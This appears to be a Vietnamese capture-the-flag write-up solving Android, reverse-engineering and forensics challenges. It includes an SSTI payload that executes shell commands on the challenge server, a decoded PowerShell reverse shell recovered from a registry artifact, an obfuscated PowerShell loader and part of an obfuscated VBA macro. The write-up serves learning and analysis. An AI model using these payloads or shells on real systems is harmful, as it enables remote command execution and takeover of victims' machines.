Tải challenge: https://drive.google.com/file/d/1Uq8wLlBl3glN5nbHMW5tkiP5IDrZlJ0D/view?usp=drive_link (pass: cookiehanhoan)
Solution
Sử dụng jadx
, search cụm từ “flag” (tâm linh time ._.)
Thu được đoạn code sau
Ghép chúng nó lại với nhau được flag thật
Flag: CHH{M0re_1n7ER3STIN9_7h1N6_1N_logcat}
Pinned Cookie
Description
Một kết nối cực an toàn giữa người dùng và server đã được thiết lập. Kẻ tấn công không thể đứng giữa để nghe ngóng thông tin. Ứng dụng hoạt động tốt trên các thiết bị Android API 24 trở lên
Tải challenge: https://drive.google.com/file/d/1oagLC-ryf9leAl4LrD9zVETTB6cPZDk_/view?usp=drive_link (pass: cookiehanhoan)
Solution
Chạy file apk ta được giao diện đăng nhập
Quay lại jadx, nhìn vào list thấy 1 hàm có tên là MainActivity
, check nó trước
Từ đây cũng đoán được là sẽ đăng nhậpadmin:sTroN6PaSswORD
, tuy nhiên bị trả về cannot connect to server
Ta sẽ tìm cách để bắt gói tin vào BurpSuite, tuy nhiên để bắt được HTTPS không hề đơn giản, ta sẽ sử dụng kỹ thuật SSL Pinning Bypass
Tham khảo Link này để setup Proxy bằng Frida
Lưu ý là không phải script js nào cũng hoạt động tốt, mình reccommend script này đã test bypass 5/6 SSL Pinning Demo: https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/
Như vậy là ta thu được flag
Flag: CHH{yoU_c4N_bYP45S_sSL_PInninG}
Reverse
Pyreverse
Description
Trong quá trình phân tích các Tool Auto Game, chúng mình phát hiện ra kỹ thuật khá phổ biến trong việc viết mã và đóng gói chương trình. Hãy tìm ra kỹ thuật này và tìm cách dịch ngược chúng, FLAG bí mật ẩn được ẩn chứa bên trong.
Download Challenge https://drive.google.com/file/d/18g2ZqlfYS4pfEZbAxJD1_9wIVp3KS1A-/view?usp=drive_link (pass: cookiehanhoan)
Solution
File exe
được đóng gói bằng pyinstaller
nên ta có thể dùng pydumpck
để unpack lại file .py
ban đầu.
Kiểm tra file pyreverser.pyc.cdc.py
trong output
folder, ta thấy flag được encode bằng base64 ngay trong hàm main.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64
def reverse_string(s):
return s[::-1]
def scramble_flag(flag):
scrambled = ''
for i, char in enumerate(flag):
if i % 2 == 0:
scrambled += chr(ord(char) + 1)
continue
scrambled += chr(ord(char) - 1)
return scrambled
def main():
print(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ=='))
secret_flag = scramble_flag(reverse_string(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')).decode())
print('Welcome to PyReverser!')
print('Please enter a word or phrase:')
user_input = input()
generated_value = scramble_flag(reverse_string(user_input.upper()))
print('Generated value:', generated_value)
print('Can you find the hidden flag?')
reversed_flag = reverse_string(secret_flag)
print('Reversed flag:', reversed_flag)
if __name__ == '__main__':
main()
Decode Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ
và có được flag
Flag: CHH{python2Exi_Reverse_ENginering}
Jump
Description
Thử thách mô phỏng lại thuật toán sinh key bản quyền phần mềm, hãy chạy thử file chương trình và dịch ngược chúng để tìm FLAG ẩn chứa bên trong.
Tải challenge: https://drive.google.com/file/d/1nCOaD5emAyAqQmJrhB8hlu4UdCbBmRuH/view?usp=drive_link (pass: cookiehanhoan)
Solution
Mở ida check hàm main
Phân tích, như vậy hàm này nhập đối số là địa chỉ của 1 hàm, sử dụng ida debug và nhập địa chỉ của hàm _flag
, ta được
Flag: CHH{JUMP_T0_TH3_M00N}
Rev1
Description
Thử thách mô phỏng lại thuật toán sinh key bản quyền phần mềm, hãy chạy thử file chương trình và dịch ngược chúng để tìm FLAG ẩn chứa bên trong.
Tải challenge: https://drive.google.com/file/d/1rzlX1TX4J8XDBuSUj3s8EtErXCOeKKVj/view?usp=sharing (pass: cookiehanhoan)
Solution
Chạy thử file, ta thấy chương trình hiện ra 1 form cho phép nhập vào dữ kiện, gồm 3 button Exit
, Check
và About
Load file vào IDA, ta có hàm WinMain, tiến hành phân tích logic của hàm DialogFunc
Sau khi debug, ta thấy chương trình check password bằng 1 đoạn shellcode, tiến hành dump đoạn assembly của shellcode và phân tích, ta thấy nó là phép nhân ma trận:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
xor ecx, ecx
movzx eax, byte ptr [edi+ecx]
imul eax, 6Eh
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 1C3h
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 348h
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 1F8h
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 357h
sub eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 46h
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 16Fh
sub eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 2FEh
sub eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 17Ah
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 15Ah
add eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 326h
sub eax, edx
inc ecx
movzx edx, byte ptr [edi+ecx]
imul edx, 190h
sub eax, edx
inc ecx
mov eax, ecx
neg eax
dec eax
sub edi, eax
dec eax
mov dword ptr [esp+8], 0
call $+5
pop ecx
add ecx, 68h
mov [esp+4], ecx
mov ebx, eax
jmp short loc_770AB8
....
....
....
------------------------------------------------------------------------
loc_770AA5: E XREF: j
mov ecx, [esp+8]
add ecx, 1
mov [esp+8], ecx
cmp ecx, 8D42h
jnb short loc_770ADE
loc_770AB8: E XREF: j
mov eax, [esp+4]
add eax, [esp+8]
movsx ecx, byte ptr [eax]
mov eax, [esp+8]
cdq
idiv ebx
movsx edx, byte ptr [edi+edx]
xor ecx, edx
mov eax, [esp+8]
mov edx, [esp+4]
add edx, eax
mov [edx], cl
jmp short loc_770AA5
------------------------------------------------------------------------
loc_770ADE: E XREF: j
mov eax, large fs:30h
mov eax, [eax+8]
add eax, 1EC0h
mov ebx, [esp+4]
push ebx
call eax
pop ebx
add esp, 8
mov eax, 1
leave
retn
------------------------------------------------------------------------
loc_770AFE: E XREF: j
..
xor eax, eax
retn
Ta sẽ lấy lấy giá trị của ma trận và vector bằng python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import re
temp = []
def find_hex(line):
res = ""
for c in line:
if (c >= '0' and c <= '9') or (c >= 'A' and c <= 'F'):
res += c
return res
val = []
C = []
with open('asm.txt') as f:
lines = f.readlines()
line_arr = []
a = 0
pattern = r'\b[0-9A-Fa-f]+h\b'
for line in lines:
line_arr.append(line)
for i in range(len(line_arr)):
if 'imul' in line_arr[i]:
tmp = line_arr[i][12:]
a = int(find_hex(line_arr[i]), 16)
if 'sub' in line_arr[i + 1]:
val.append(a * -1)
else:
val.append(a)
if 'cmp' in line_arr[i]:
a = int(find_hex(line_arr[i]), 16)
C.append(a)
C.remove(C[len(C) - 1])
mat = [[]]
for i in range(0, 14):
mat.append(val[14*i: 14*i + 14])
mat.remove(mat[0])
print("B: ")
print(mat)
print("C: ")
print(C)
Giả sử đoạn input mà ta nhập vào là vector A
, logic của đoạn check đơn giản là A*B = C
, sau khi có B
và C
rồi, ta viết script giải để in ra pass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import numpy as np
B = [[110, 451, 840, 504, -855, 70, -367, -766, 378, 346, -806, -400, 297, 749], [42, 946, 705, 570, -977, 338, 545, -764, -223, -879, 418, 377, 644, -100], [808, 973, 972, 809, 234, -26, 299, -46, -823, 610, 55, -164, 899, 725], [102, -969, -192, -189, -157, 721, -665, 910, 21, -334, 640, 225, -296, 80], [749, 138, -341, -140, -569, 601, -646, -474, 340, -406,
151, 621, 992, -491], [70, -735, 579, 120, -238, 153, -197, -235, -174, 655, -101, 523, -327, 962], [612, 702, 949, -467, -8, -336, 961, -996, -88, -412, 938, 609, -383, -359], [179, -99, -224, 36, 892, 170, 51, -286, -317, 313, 988, -332, 733, 691], [258, 277, 211, 220, 929, -860, -237, 321, -412, -694, 972, 938, 587, 441], [964, 773, -169, 135, -230, 48, 527, -976, -148, -716, 86, 548, 437, 387], [598, 343, 385, -774, -579, -9, -883, -419, 547, 512, -869, -86, 438, -924], [163, 690, 557, 982, -154, -118, -672, 99, 883, 21, -953, 532, -562, 549], [337, 339, 607, -391, -684, 460, -341, -757, -557, 379, -887, -178, -660, -718], [682, 149, 131, 603, -119, -737, 925, 593, 162, -637, 616, 761, 20, -277]]
C = [10699, 61677, 417944, 27876, 86237, 124555, 99472, 248916, 284272, 137743, -116586, 141428, -267187, 247270]
A = np.linalg.lstsq(B, C, rcond=None)[0]
print(A)
x = [113, 50, 48, 79, 75,51,54,81,66,105,87,107,90 ,84]
print("Pass: ", end = "")
for c in x:
print(chr(c), end = "")
Nhập pass và ta có flag:
Flag: CHH{C00k13_4R3n4}
CV Malware
Description
Thời gian gần đây có nhiều hình thức xâm nhập vào máy tính nạn nhân thông qua mã độc được gắn trong file Word. Khi mã độc thực thi, chúng sẽ lấy thông tin của nạn nhân để gửi về máy chủ điều khiển C&C. Liệu hacker cũng có thể thể bị hack, hãy cùng đi săn kẻ xấu nhé!
Tải challenge: https://drive.google.com/file/d/1uscuEYlMwBpdV77UCHjtMEUxXsUBrzrz/view?usp=sharing (pass: cookiehanhoan)
SHA-256 (c***.exe) = 61b07970c0a3f4a7e3090aa5d65d48cb0be49c203ffae358ff886a2c2592829f
Hint: FLAG nằm trên host, tìm cách kết nối đúng và exploit
Solution
Tiến hành giải nén file updated-cv-pentester.docx
được
Sau khi giải nén xong thì gặp thông báo của Windows Defender …
Vậy nó là file khả nghi nhất
Decode hex bên trên:
1
2
3
server:
host: http://REPLACE_HOST_HERE
secret: SecR3TtOKen
Khả năng có thể sẽ thay host = web được bật
Decode file base64
Vậy nó là file thực thi, bật IDA kiểm tra ta thu được
Tiếp tục kiểm tra hàm Download
Vào challenge và download file từ link /static/client.exe
Chuyển qua đọc file client.exe
Kiểm tra hàm main
Ta nhận thấy hàm main_sendPostRequest
, khả năng sẽ gửi request tới đâu đó, khả năng là web server challenge. Khi đọc file, thấy hàm main_loadallconfigs trong file tìm kiếm 1 config đi kèm, ta nghĩ ngay đến đoạn secret được decode hex có dạng file yaml “server: hostname + secret” nhưng khi chuyển qua yaml thì báo có vấn đề về ini. Chuyển qua file ini là mọi việc được giải quyết
Ta sửa file config.ini
thành
1
2
3
server:
host: http://HOST
secret: SecR3TtOKen
Sử dụng Wireshark cap gói tin ta có
1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: HOST
User-Agent: Go-http-client/1.1
Content-Length: 67
Content-Type: application/json
Secret: SecR3TtOKen
Accept-Encoding: gzip
{"username":"username","hostname":"hostname"}
1
2
3
4
5
6
7
HTTP/1.1 200 OK
Date: Sat, 08 Jul 2023 12:49:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 45
Connection: keep-alive
Logged username hostname
Vậy chương trình trên chỉ thực hiện như vậy, kết hợp với hint flag ở trên server, như vậy file exe không còn ý nghĩa, sau khi pentest host này bị dính SSTI. Vậy viết đoạn script để lấy flag nào
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url = "host"
headers = {
"User-Agent": "Go-http-client/1.1",
"Content-Type": "application/json",
"Secret": "SecR3TtOKen",
"Accept-Encoding": "gzip"
}
payload = {
"username": "{{''.__class__.mro()[1].__subclasses__()[417]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip()" }}",
"hostname": "okeoke"
}
response = requests.post(url, headers=headers, json=payload)
print(response.text)
Flag: CHH{ExtR@Ct_m4CRo_aNd_h@Ck_C2c_d949ae029dc82b4bba3bf3db654041a4}
Forensic
Sổ đăng ký
Description
Hòa thấy hiện tượng lạ mỗi khi anh ta khởi động máy tính. Anh ta nghĩ rằng việc tải các video không lành mạnh gần đây đã khiến máy tính của anh ta bị hack.
Tải challenge: https://drive.google.com/file/d/1pShye_YtnUuIObPdnq9PeiIge0Oelsix/view?usp=drive_link (pass: cookiehanhoan)
Solution
Tải challenge mở file NTUSER.DAT
bằng Registry Explorer
Dựa theo mô tả challenge, sẽ search thử powershell.exe
và cmd.exe
để xem có gì lạ và thu được đoạn shell này
1
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "(neW-obJEct io.COMprEssIon.dEFlATesTReAm( [sySTem.IO.memorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEM.iO.ComPReSSion.CoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct io.streAMrEadeR( $_,[sysTem.TExt.EnCoDING]::asCIi )}).reaDToEnD()|Write-Line"
Thay invoke thành Write để nó print code thay vì excute, thu được
1
$client = New-Object System.Net.Sockets.TCPClient("192.168.253.27",4953);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "CHH{N0_4_go_n0_st4r_wh3r3}" + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Flag: CHH{N0_4_go_n0_st4r_wh3r3}
Tin học văn phòng
Description
Sau khi tham gia một khóa Tin học văn phòng cơ bản, Hòa đã có thể tự tạo một tệp tài liệu độc hại và anh ta có ý định sẽ dùng nó để hack cả thế giới
Tải challenge: https://drive.google.com/file/d/1WrLFE5qA-qJ6iLEQYQqCo0Xb99Yz8mTH/view?usp=drive_link (pass: cookiehanhoan)
Solution
Dùng lệnh olevba Challenge.doc
1
2
3
...
MsgBox "CHH{If_u_w4nt_1_will_aft3rnull_u}"
...
Flag: CHH{If_u_w4nt_1_will_aft3rnull_u}
Trivial FTP
Description
Việc những nhân viên của một công ty X sử dụng các giao thức không an toàn để kết nối và truyền tải tập tin từ xa đã tạo cơ hội cho những kẻ tấn công Man in the Middle và đánh cắp dữ liệu quan trọng của công ty
Tải Challenge: https://drive.google.com/file/d/1AqsNR8eKe527iZJf1koNRs1pl9YhK0Ev/view?usp=drive_link (pass: cookiehanhoan)
Solution
Sử dụng Wireshark bắt được goi tin flag.pdf
Tuy nhiên TFTP có 516 bytes với 4 bytes đầu là được định danh số thứ tự, vậy ta chỉ lấy 512 bytes cuối của từng packet
Follow UDP stream ta save file flag.pdf
và fix lại như sau, do mã hóa netascii nên sẽ không đọc được
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import re, os
re_from_netascii = re.compile(b'(\x0d\x0a|\x0d\x00)')
CR = b'\x0d'
LF = b'\x0a'
CRLF = CR + LF
NUL = b'\x00'
CRNUL = CR + NUL
if isinstance(os.linesep, bytes):
NL = os.linesep
else:
NL = os.linesep.encode("ascii")
def _convert_from_netascii(match_obj):
if match_obj.group(0) == CRLF:
return NL
elif match_obj.group(0) == CRNUL:
return CR
def from_netascii(data):
"""Convert a netascii-encoded string into a string with platform-specific
newlines.
"""
return re_from_netascii.sub(_convert_from_netascii, data)
with open("flag.pdf", "rb") as f:
t = f.read()
x = b""
for i in range(0, len(t), 516):
x += t[i+4:i+516]
with open("flag_new.pdf", "wb") as f:
f.write(from_netascii(x).replace(b"\r\n", b"\n"))
Flag: CHH{FTP_4nd_TFTP_4r3_b0th_un$af3}
Báo cáo dang dở
Description
Hòa đang làm báo cáo bài tập lớn để nộp cho thầy giáo thì bỗng nhiên máy tính của anh ấy bị tắt đột ngột do mất điện mà anh ấy thì chưa kịp lưu báo cáo một lần nào. Tuy nhiên sau đó, thay vì viết báo cáo mới thì Hòa đã chọn cách dành ra 4h đồng hồ để khôi phục báo cáo ban đầu từ tệp crash dump nhưng cuối cùng vẫn thất bại. Hòa thực sự đang cần trợ giúp.
Tải Challenge ở đây: https://drive.google.com/file/d/19OCHSjzHmzFBoSLYB90nkrZLnREpZ1nG/view?usp=drive_link (pass: cookiehanhoan)
Solution
Dùng Volatility để phân tích file MEMORY.DMP
1
vol.exe -f "MEMORY.DMP" windows.pslist.PsList
Dùng pslist
, ta lấy list process. Đọc description có thể thấy được cần tập trung vào process WINWORD.EXE
- PID: 1736
1
vol.exe -f "MEMORY.DMP" windows.handles.Handles --pid 1736
Output:
1
2
3
4
5
6
7
8
PID Process Offset HandleValue Type GrantedAccess Name
...
1736 WINWORD.EXE 0xf8a001cebbf0 0x718 Section 0xf0007
1736 WINWORD.EXE 0xfa80040fd2f0 0x71c Event 0x1f0003 OleDfRootC3E09668F74F21C5
1736 WINWORD.EXE 0xfa80041e2070 0x720 File 0x12019f \Device\HarddiskVolume2\Users\admin\AppData\Roaming\Microsoft\Word\AutoRecovery save of Document1.asd
1736 WINWORD.EXE 0xfa8004652e80 0x724 File 0x13019f \Device\HarddiskVolume2\Users\admin\AppData\Local\Temp\~DF0CB75D50BF46E632.TMP
...
=> Thấy được file auto recovery , và ta cần đọc file này dùng dumpfiles
1
vol.exe -f "MEMORY.DMP" dumpfiles --pid 1736
Bước cuối, sau khi lấy được file .asd thì đổi đuôi sang .zip và extract
Tìm trong media thấy được file ảnh chứa flag:
Flag: CHH{4ut0R3c0v3r_s4v3_my_l1f3}
Under Control
Description
Sau khi mẫu tài liệu độc hại của Hòa bị các nhà phân tích từ Cookie Arena mổ xẻ và mỉa mai là quá đơn giản, Hòa quyết tâm tham gia tiếp một khóa Tin học văn phòng nâng cao để tạo ra một mẫu mã độc phức tạp hơn. Sau đó, Hòa thử nghiệm mẫu mã độc mới bằng cách đính kèm vào email phishing cho thầy giáo của mình. Cuối cùng Hòa chiếm quyền điều khiển thành công máy tính của thầy giáo và thậm chí còn đánh cắp được tập bài kiểm tra cuối kì sắp tới.
Tải challenge: https://drive.google.com/file/d/1gISGx8IgR84qTBW7fbXs5HqlED1TESQ-/view?usp=drive_link (pass: cookiehanhoan)
Solution
Mở pcap follow http download file excel về
Sau mỗi lần tải về máy tính liên tục báo Virus >< khả năng là dính Marco, vậy nên mình phải down về Linux cho chạy oleyba và thu được đoạn code sau
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
Function ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»· = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢ = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
For y = 1 To Len(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯© = InStr(¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·, Mid(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨, y, 1))
If ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯© > 0 Then
¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®« = Mid(»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢, ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯©, 1)
¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» + ¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«
Else
¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» + Mid(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨, y, 1)
End If
Next
ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨ = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»
For ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° = 1 To Len(®¶®¾ª¼¿¢·¥»°¾£º¤¿º·¡¦ª¹¹¾´°¢²¶©»°´¢«°µ¸¶¥¤·«½¿¢´¹º¡º»º¸®µ»³¸µ»¦¦½¨¾¾¨¦²)
®¶®¾ª¼¿¢·¥»°¾£º¤¿º·¡¦ª¹¹¾´°¢²¶©»°´¢«°µ¸¶¥¤·«½¿¢´¹º¡º»º¸®µ»³¸µ»¦¦½¨¾¾¨¦² = ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶°
Next
For ¥½µ©¡»¡·¤¼¶µ¢¾·½¼¾®¦»»¼¬§ª¦·°¹·³¹¸¤µ³³¡¢£§´¤´¹¨´¡¾¦¬°¹¦¼¥°¡³» = 2 To Len(£©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦)
£©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ = 2
Next
For »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· = 3 To Len(»¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸)
»¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸ = »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£·
Next
For ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ = 4 To Len(´³®½£¼µ·©¡¤¨®º²§¿»²¹£°»¦¾¹²²³¡¨«¯°»³¸¢»¹²£»´£¬¦º¸¸³¾½¨¡º¥¬¥«¹·§¶¶°¦«¹¥¤·)
´³®½£¼µ·©¡¤¨®º²§¿»²¹£°»¦¾¹²²³¡¨«¯°»³¸¢»¹²£»´£¬¦º¸¸³¾½¨¡º¥¬¥«¹·§¶¶°¦«¹¥¤· = 2
Next
End Function
Sub Workbook_Open()
Dim ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§ As Object
Dim ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ As String
